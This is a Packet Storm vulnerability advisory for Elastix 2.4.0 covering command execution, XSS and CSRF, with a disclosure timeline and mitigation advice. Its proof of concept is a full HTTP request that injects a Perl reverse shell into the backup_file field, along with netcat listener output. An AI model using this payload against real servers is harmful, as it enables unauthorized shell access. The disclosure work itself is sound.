what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Elastix 2.4.0 Stable XSS / CSRF / Command Execution

Elastix 2.4.0 Stable XSS / CSRF / Command Execution
Posted Oct 17, 2014
Authored by Simo Ben Youssef | Site morxploit.com

Elastix version 2.4.0 stable suffers from cross site request forgery, remote command execution, and cross site scripting vulnerabilities.

tags | exploit, remote, vulnerability, xss, csrf
SHA-256 | 8b5108f6111986793120f2a9ec3c7cb7deb711b87ffc01d8c642ebe1b8a84788

Elastix 2.4.0 Stable XSS / CSRF / Command Execution

Change Mirror Download
Title: Elastix Multiple vulnerabilities (Remote Command Execution, XSS, CSRF)
Author: Simo Ben youssef
Contact: Simo_at_Morxploit_com
Discovered: September 1 2014
Published: October 17 2014
MorXploit Research
http://www.MorXploit.com
Software: Elastix
Version: Elastix 2.4.0 Stable
Vendor url: http://elastix.org/
Vulnerable file: modules/backup_restore/index.php

Description:

1- Remote Command Execution

modules/backup_restore/index.php suffers from a command execution vulnerability, allowing an authenticated Elastix user to inject commands as the asterisk user.

Vulnerable code:

$archivo_post = isset($_POST["backup_file"])?$_POST["backup_file"]:"";
$dir_respaldo = "$path_backup";
$comando="cd $dir_respaldo; tar xvf $dir_respaldo/$archivo_post backup/a_options.xml";
exec($comando,$output,$retval);

As you can see, input sent through the backup_file HTTP POST parameter is not validated/sanitized before being passed to exec();

PoC:

POST /index.php?menu=backup_restore
Host: 10.0.0.14
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.14/index.php?menu=backup_restore
Cookie: elastixSession=slt4ad92gg29vq5b4kjo29m9a1
Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------85835002613497174291001748681
Content-Length: 832

-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="process"

Process
-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="option_url"

restore
-----------------------------85835002613497174291001748681
Content-Disposition: form-data; name="backup_file"

; perl -e '$p=fork;exit,if($p); use Socket; use FileHandle; my $system = "/bin/sh"; my $host = "10.0.0.2"; my $port = "1111";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")); connect(SOCKET, sockaddr_in($port, inet_aton($host))); SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "[+] Et voila you are in!

"; system("uname -a;id"); system($system);'
-----------------------------85835002613497174291001748681--

root@MorXploit:/home/simo/morx/elastix# nc -lvp 1111
Listening on [0.0.0.0] (family 0, port 1111)
Connection from [10.0.0.14] port 1111 [tcp/*] accepted (family 2, sport 49064)
[+] Et voila you are in!

Linux localhost.localdomain 2.6.18-348.1.1.el5 #1 SMP Tue Jan 22 16:24:03 EST 2013 i686 i686 i386 GNU/Linux
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)

2- Reflected Cross-Site Scripting:

Input sent through the backup_file parameter is returned to the user without being validated/sanitized, an attacker can exploit this to steal an Elastix authenticated user's session cookie, gain full access to their account and use the previous RCE vulnerability to execute commands/gain shell access to the server

3- CSRF

Additionally an attacker can also exploit the RCE through CSRF by having an authenticated Elastix user visit a crafted page.


Disclosure time-line:

Initial contact on September 2nd 2014
No response
Second contact on September 22nd 2014
No response
Public disclosure on October 17th

Mitigation:
Validate/Sanitize $archivo
Use authentication tokens for CSRF

Author disclaimer:
The information contained in this entire document is for educational, demonstration and testing purposes only.
Author cannot be held responsible for any malicious use or damage. Use at your own risk.

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close